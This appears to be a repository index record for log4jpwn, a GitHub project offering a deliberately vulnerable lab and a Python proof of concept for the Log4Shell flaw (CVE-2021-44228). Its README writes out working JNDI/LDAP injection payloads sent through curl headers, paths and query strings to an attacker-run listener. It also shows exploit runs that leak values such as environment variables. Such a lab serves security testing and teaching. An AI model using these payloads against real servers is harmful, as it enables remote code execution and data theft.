{"id":13845421,"url":"https://github.com/leonjza/log4jpwn","last_synced_at":"2025-08-15T22:42:47.553Z","repository":{"id":44743082,"uuid":"436900024","full_name":"leonjza/log4jpwn","owner":"leonjza","description":"log4j rce test environment and poc","archived":false,"fork":false,"pushed_at":"2021-12-15T17:18:08.000Z","size":1139,"stargazers_count":311,"open_issues_count":1,"forks_count":88,"subscribers_count":6,"default_branch":"master","last_synced_at":"2025-05-20T00:05:24.545Z","etag":null,"topics":["cve-2021-44228","log4j","log4shell","rce"],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"gpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/leonjza.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2021-12-10T08:10:13.000Z","updated_at":"2025-04-17T00:28:44.000Z","dependencies_parsed_at":"2022-08-26T04:43:19.454Z","dependency_job_id":null,"html_url":"https://github.com/leonjza/log4jpwn","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/leonjza/log4jpwn","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/leonjza%2Flog4jpwn","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/leonjza%2Flog4jpwn/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/leonjza%2Flog4jpwn/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/leonjza%2Flog4jpwn/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/leonjza","download_url":"https://codeload.github.com/leonjza/log4jpwn/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/leonjza%2Flog4jpwn/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":270640443,"owners_count":24620945,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-08-15T02:00:12.559Z","response_time":110,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["cve-2021-44228","log4j","log4shell","rce"],"created_at":"2024-08-04T17:03:23.742Z","updated_at":"2025-08-15T22:42:47.496Z","avatar_url":"https://github.com/leonjza.png","language":"Python","funding_links":[],"categories":["Python"],"sub_categories":[],"readme":"# log4jpwn\n\nlog4j rce test environment. See: \u003chttps://www.lunasec.io/docs/blog/log4j-zero-day/\u003e\n\nThis repository contains an intentionally vulnerable playground to play with CVE-2021-44228 (aka: log4shell)\n\nExperiments to trigger the vulnerability in various software products mentioned [here](https://github.com/NCSC-NL/log4shell/tree/main/software) can be found in the [vuln-software/](vuln-software/) directory.\n\n## examples\n\n![1](images/image.png)\n\nusing the included python poc\n\n![2](images/poc.png)\n\n## build\n\nEither build the jar on your host with `mvn clean compile assembly:single`\n\nOr use `docker` to build an image with `docker build -t log4jpwn .`\n\n## run\n\nThe server will log 3 things (which are also the triggers). You don't have to set all 3:\n\n- The `User-Agent` header content\n- The request path\n- The `pwn` query string parameter\n\nTo use:\n\n- Run the container with `docker run --rm -p8080:8080 log4jpwn` (or the jar if you built on your host with `java -jar target/log4jpwn-1.0-SNAPSHOT-jar-with-dependencies.jar`)\n- Make a `curl` request with a poisoned `User-Agent` header with your payload. eg `curl -H 'User-Agent: ${jndi:ldap://172.16.182.1:8081/a}' localhost:8080`, where 172.16.182.1 is where my netcat lister is running.\n\nA complete example for all 3 bits that gets logged:\n\n```bash\ncurl -v -H 'User-Agent: ${jndi:ldap://192.168.0.1:443/a}' 'localhost:8080/${jndi:ldap://192.168.0.1:443/a}/?pwn=$\\{jndi:ldap://192.168.0.1:443/a\\}'\n```\n\n## run - exploit\n\nThe python exploit will leak values. By default it will try `${java:version}`, but you can specify anything with the `--leak` flag.\n\nUsage is:\n\n```text\n❯ ./pwn.py --help\nusage: pwn.py [-h] --target TARGET [--listen-host LISTEN_HOST] [--listen-port LISTEN_PORT] --exploit-host EXPLOIT_HOST [--leak LEAK]\n\na simple log4j \u003c=2.14 information disclosure poc (ref: https://twitter.com/Black2Fan/status/1470281005038817284)\n\noptional arguments:\n  -h, --help            show this help message and exit\n  --target TARGET, -t TARGET\n                        target uri\n  --listen-host LISTEN_HOST\n                        exploit server host to listen on (default: 127.0.0.1)\n  --listen-port LISTEN_PORT, -lp LISTEN_PORT\n                        exploit server port to listen on (default: 8888)\n  --exploit-host EXPLOIT_HOST, -eh EXPLOIT_HOST\n                        host where (this) exploit server is reachable\n  --leak LEAK, -l LEAK  value to leak. see: https://twitter.com/Rayhan0x01/status/1469571563674505217 (default: ${java:version})\n```\n\nExample runs:\n\n- `./pwn.py --target http://localhost:8080 --exploit-host 127.0.0.1`\n- `./pwn.py --target http://localhost:8080 --exploit-host 127.0.0.1 --leak '${env:SHELL}'`\n- `./pwn.py --target http://localhost:8080 --exploit-host 127.0.0.1 --listen-port 5555`\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fleonjza%2Flog4jpwn","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fleonjza%2Flog4jpwn","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fleonjza%2Flog4jpwn/lists"}